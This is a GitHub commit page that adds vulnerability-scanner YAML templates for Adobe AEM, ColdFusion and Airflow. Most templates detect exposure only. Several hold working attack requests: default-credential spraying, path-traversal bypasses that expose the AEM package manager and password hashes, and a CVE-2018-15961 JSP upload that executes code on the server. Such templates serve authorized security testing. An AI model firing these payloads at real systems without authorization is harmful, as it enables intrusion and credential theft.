Skip to content

Commit 7f1e3ae

Browse files
actions-useractions-user
committed
20250326
1 parent b7f9a7f commit 7f1e3ae

File tree

21,148 files changed

+868289
-1
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

21,148 files changed

+868289
-1
lines changed

‎date.txt

+1-1
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
20250325
1+
20250326

‎tmp/adobe/adobe-aem-default-credentials.yaml

+65
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
id: adobe-aem-default-credentials
2+
3+
info:
4+
name: Adobe AEM Default Credentials
5+
author: random-robbie
6+
severity: critical
7+
tags: aem,default-login,fuzz
8+
requests:
9+
10+
- payloads:
11+
12+
rr_username:
13+
- admin
14+
- grios
15+
- replication-receiver
16+
- vgnadmin
17+
- [email protected]
18+
- [email protected]
19+
- [email protected]
20+
- [email protected]
21+
- [email protected]
22+
- [email protected]
23+
24+
rr_password:
25+
- admin
26+
- password
27+
- replication-receiver
28+
- vgnadmin
29+
- aparker
30+
- jdoe
31+
- password
32+
- password
33+
- password
34+
- password
35+
36+
attack: pitchfork # Available options: sniper, pitchfork and clusterbomb
37+
38+
raw:
39+
- |
40+
POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1
41+
Host: {{Hostname}}
42+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
43+
Accept: text/plain, */*; q=0.01
44+
Accept-Language: en-US,en;q=0.5
45+
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
46+
X-Requested-With: XMLHttpRequest
47+
Content-Length: 67
48+
Origin: {{BaseURL}}
49+
Referer: {{BaseURL}}/libs/granite/core/content/login.html
50+
Connection: close
51+
52+
_charset_=utf-8&j_username={{rr_username}}&j_password={{rr_password}}&j_validate=true
53+
54+
matchers-condition: and
55+
matchers:
56+
- type: status
57+
status:
58+
- 200
59+
60+
- type: word
61+
part: header
62+
words:
63+
- login-token
64+
- crx.default
65+
condition: and

‎tmp/adobe/adobe-client.yaml

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
id: adobe-client
2+
3+
info:
4+
name: Adobe Client ID
5+
author: DhiyaneshDK
6+
severity: info
7+
reference:
8+
- https://github.com/returntocorp/semgrep-rules/blob/develop/generic/secrets/gitleaks/adobe-client-id.yaml
9+
- https://github.com/returntocorp/semgrep-rules/blob/develop/generic/secrets/gitleaks/adobe-client-id.go
10+
metadata:
11+
verified: true
12+
tags: keys,file,adobe,token
13+
14+
file:
15+
- extensions:
16+
- all
17+
18+
extractors:
19+
- type: regex
20+
part: body
21+
regex:
22+
- (?i)(?:adobe)(?:[0-9a-z\-_\t .]{0,20})(?:[\s|']|[\s|"]){0,3}(?:=|>|:=|\|\|:|<=|=>|:)(?:'|\"|\s|=|\x60){0,5}([a-f0-9]{32})(?:['|\"|\n|\r|\s|\x60|;]|$)
23+
# digest: 490a00463044022007eda94aded10055c992548f92f163ce142cfa63312df87ab1913d55655c84a402205cfb63b7803c40be56e370f98a2541ef20c37455b0b0f136a5c19164ee802429:922c64590222798bb761d5b6d8e72950

‎tmp/adobe/adobe-coldfusion-detector-error.yaml

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
id: adobe-coldfusion-detector-error
2+
info:
3+
name: Adobe ColdFusion Detector
4+
author: philippedelteil
5+
severity: info
6+
description: With this template we can detect a running ColdFusion instance due to an error page.
7+
reference: https://twitter.com/PhilippeDelteil/status/1418622775829348358
8+
tags: adobe,coldfusion
9+
requests:
10+
- payloads:
11+
Subdomains: /home/mahmoud/Wordlist/AllSubdomains.txt
12+
attack: sniper
13+
threads: 100
14+
raw:
15+
- |
16+
GET /_something_.cfm HTTP/1.1
17+
Host: {{Subdomains}}
18+
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
19+
Accept-Encoding: gzip, deflate
20+
Accept: */*
21+
matchers-condition: and
22+
matchers:
23+
- type: word
24+
part: body
25+
words:
26+
- 'ColdFusion documentation'
27+
- type: status
28+
status:
29+
- 404

‎tmp/adobe/adobe-connect.yaml

+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
name: adobe-connect
2+
priority: 3
3+
nuclei_tags:
4+
- []
5+
fingerprint:
6+
- path: /
7+
request_method: get
8+
request_headers: {}
9+
request_data: ''
10+
status_code: 0
11+
headers: {}
12+
keyword:
13+
- /common/scripts/showcontent.js
14+
favicon_hash: []

‎tmp/adobe/adobe-experience-manager.yaml

+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
name: adobe-experience-manager
2+
priority: 3
3+
nuclei_tags:
4+
- - aem
5+
fingerprint:
6+
- path: /
7+
request_method: get
8+
request_headers: {}
9+
request_data: ''
10+
status_code: 0
11+
headers: {}
12+
keyword:
13+
- tag{background:url(login/clientlib/resources/adobe-logo.png)
14+
favicon_hash: []

‎tmp/adobe/adobe-secret.yaml

+25
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
id: adobe-secret
2+
3+
info:
4+
name: Adobe OAuth Client Secret
5+
author: DhiyaneshDK
6+
severity: info
7+
reference:
8+
- https://github.com/praetorian-inc/noseyparker/blob/main/data/default/rules/adobe.yml
9+
- https://developer.adobe.com/developer-console/docs/guides/authentication/
10+
- https://developer.adobe.com/developer-console/docs/guides/authentication/OAuthIntegration/
11+
- https://developer.adobe.com/developer-console/docs/guides/authentication/OAuth/
12+
metadata:
13+
verified: true
14+
tags: file,keys,adobe,oauth,token
15+
16+
file:
17+
- extensions:
18+
- all
19+
20+
extractors:
21+
- type: regex
22+
part: body
23+
regex:
24+
- '(?i)\b(p8e-[a-z0-9-]{32})(?:[^a-z0-9-]|$)'
25+
# digest: 4a0a00473045022100fbb2a00c904fe46b3138bc5a79cd5d3e108bf9a7ce64db4d82a47a40b4edfc7e022036f0b1d84e6bbde773bd90b9021e8202465c54346d9f1436af84e622a119114a:922c64590222798bb761d5b6d8e72950

‎tmp/adobe/aem-crx-list-packages.yaml

+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
id: aem-crx-list-packages
2+
info:
3+
name: AEM CRX List All Packages
4+
risk: High
5+
params:
6+
- root: '{{.BaseURL}}'
7+
requests:
8+
- method: GET
9+
redirect: false
10+
url: >-
11+
{{.root}}/crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true
12+
headers:
13+
- User-Agent: curl/123
14+
- Referer: '{{.BaseURL}}'
15+
detections:
16+
- >-
17+
StatusCode() == 200 && StringSearch("response", "buildCount") && StringSearch("body", "downloadName") && StringSearch("body", "acHandling")
18+
- method: GET
19+
redirect: false
20+
url: >-
21+
{{.root}}/content/..;/crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true
22+
headers:
23+
- User-Agent: curl/123
24+
- Referer: '{{.BaseURL}}'
25+
detections:
26+
- >-
27+
StatusCode() == 200 && StringSearch("response", "buildCount") && StringSearch("body", "downloadName") && StringSearch("body", "acHandling")
28+
references:
29+
- link: https://labs.detectify.com/2021/06/28/aem-crx-bypass-0day-control-over-some-enterprise-aem-crx-package-manager/
30+
- author: '0xd0ff9 & j3ssie'

‎tmp/adobe/aem-fuzz.yaml

+33
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
id: aem-fuzz
2+
info:
3+
author: MRiambatman
4+
name: AEM FUZZ
5+
severity: medium
6+
reference: https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43
7+
tags: aem
8+
requests:
9+
- raw:
10+
- "GET /§header§ HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 \n"
11+
payloads:
12+
header: helpers/payloads/aem2.txt
13+
attack: clusterbomb
14+
redirects: true
15+
matchers-condition: and
16+
matchers:
17+
- type: status
18+
status:
19+
- 200
20+
- 500
21+
- 301
22+
- 400
23+
- 302
24+
- type: word
25+
words:
26+
- 'jcr:createdBy'
27+
- 'Web console'
28+
- 'authenticated=true'
29+
- 'userid='
30+
- 'jcr:'
31+
- 'AccessKeyId:'
32+
- 'java heap space'
33+
condition: and

‎tmp/adobe/aem-groovyconsole-152.yaml

+32
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
id: aem-groovyconsole
2+
info:
3+
name: AEM Groovy console enabled
4+
author: Dheerajmadhukar
5+
severity: critical
6+
description: Groovy console is exposed, RCE is possible.
7+
reference: https://hackerone.com/reports/672243
8+
tags: aem
9+
requests:
10+
- payloads:
11+
Subdomains: /home/mahmoud/Wordlist/AllSubdomains.txt
12+
attack: sniper
13+
threads: 100
14+
raw:
15+
- |
16+
GET /groovyconsole HTTP/1.1
17+
Host: {{Subdomains}}
18+
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
19+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
20+
Accept-Language: en-US,en;q=0.9,hi;q=0.8
21+
matchers-condition: and
22+
matchers:
23+
- type: word
24+
words:
25+
- "<title>Groovy Console</title>"
26+
- "Run Script"
27+
- "Groovy Web Console"
28+
part: body
29+
condition: and
30+
- type: status
31+
status:
32+
- 200

‎tmp/adobe/aem-hash-querybuilder-158.yaml

+33
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
id: aem-hash-querybuilder
2+
info:
3+
author: DhiyaneshDk
4+
name: Query hashed password via QueryBuilder Servlet
5+
severity: medium
6+
reference: https://twitter.com/AEMSecurity/status/1372392101829349376
7+
tags: aem
8+
requests:
9+
- payloads:
10+
Subdomains: /home/mahmoud/Wordlist/AllSubdomains.txt
11+
attack: sniper
12+
threads: 100
13+
raw:
14+
- |
15+
GET /bin/querybuilder.json.;%0aa.css?p.hits=full&property=rep:authorizableId&type=rep:User HTTP/1.1
16+
Host: {{Subdomains}}
17+
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
18+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
19+
Accept-Language: en-US,en;q=0.5
20+
Accept-Encoding: gzip, deflate
21+
Connection: close
22+
Upgrade-Insecure-Requests: 1
23+
Cache-Control: max-age=0
24+
matchers-condition: and
25+
matchers:
26+
- type: status
27+
status:
28+
- 200
29+
- type: word
30+
words:
31+
- '"success":true'
32+
- 'rep:password'
33+
condition: and

‎tmp/adobe/aem-workflow.yaml

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
id: aem-workflow
2+
3+
info:
4+
name: Adobe Experience Manager Security Checks
5+
author: dhiyaneshDK
6+
description: A simple workflow that runs all Adobe Experience Manager related nuclei templates on a given target.
7+
8+
workflows:
9+
- template: technologies/aem-detect.yaml
10+
subtemplates:
11+
- tags: aem

‎tmp/adobe/aem.yaml

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
template:
2+
name: aem-traversal
3+
severity: medium
4+
author: "zoidsec"
5+
description: AEM CRX Path Traversal
6+
request:
7+
payloads:
8+
- '/content/..;/crx/packmgr/index.jsp'
9+
paths: true
10+
response:
11+
statusCode: 200
12+
patterns:
13+
- 'CRX Package Manager'

‎tmp/adobe/yaml-poc-adobe-coldfusion-logical-CVE-2018-15961.yml

+36
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
name: poc-yaml-adobe-coldfusion-cve-2018-15961
2+
binding: e8aa3202-5b1e-4446-94c3-635ba6ac5ffe
3+
manual: true
4+
detail:
5+
author: sharecast
6+
links:
7+
- https://nosec.org/home/detail/1958.html
8+
vulnerability:
9+
id: CT-117999
10+
level: critical
11+
warning: 该脚本会上传文件产生一个临时的无害文件，同时能够执行自删除逻辑，但是可能删除不成功
12+
transport: http
13+
set:
14+
r1: randomInt(40000, 44800)
15+
r2: randomInt(40000, 44800)
16+
rboundary: randomLowercase(8)
17+
randname: randomLowercase(6)
18+
rules:
19+
r0:
20+
request:
21+
cache: true
22+
method: POST
23+
path: /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm
24+
headers:
25+
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
26+
body: "------WebKitFormBoundary{{rboundary}}\r\nContent-Disposition: form-data; name=\"path\"\r\n\npath\r\n------WebKitFormBoundary{{rboundary}}\r\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randname}}.jsp\"\r\nContent-Type: image/jpeg\r\n\r\n<%out.print({{r1}} * {{r2}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n------WebKitFormBoundary{{rboundary}}--\r\n"
27+
follow_redirects: false
28+
expression: response.status == 200
29+
r1:
30+
request:
31+
cache: true
32+
method: GET
33+
path: /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/{{randname}}.jsp
34+
follow_redirects: false
35+
expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
36+
expression: r0() && r1()

‎tmp/airflow/airflow-configuration-exposure-229.yaml

+22
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
id: airflow-configuration-exposure
2+
info:
3+
name: Apache Airflow Configuration Exposure
4+
author: pdteam
5+
severity: medium
6+
tags: exposure,config,airflow,apache
7+
requests:
8+
- payloads:
9+
Subdomains: /home/mahmoud/Wordlist/AllSubdomains.txt
10+
attack: sniper
11+
threads: 100
12+
raw:
13+
- |
14+
GET /airflow.cfg HTTP/1.1
15+
Host: {{Subdomains}}
16+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
17+
matchers:
18+
- type: word
19+
words:
20+
- '[core]'
21+
- '[api]'
22+
condition: and

0 commit comments

Comments
 (0)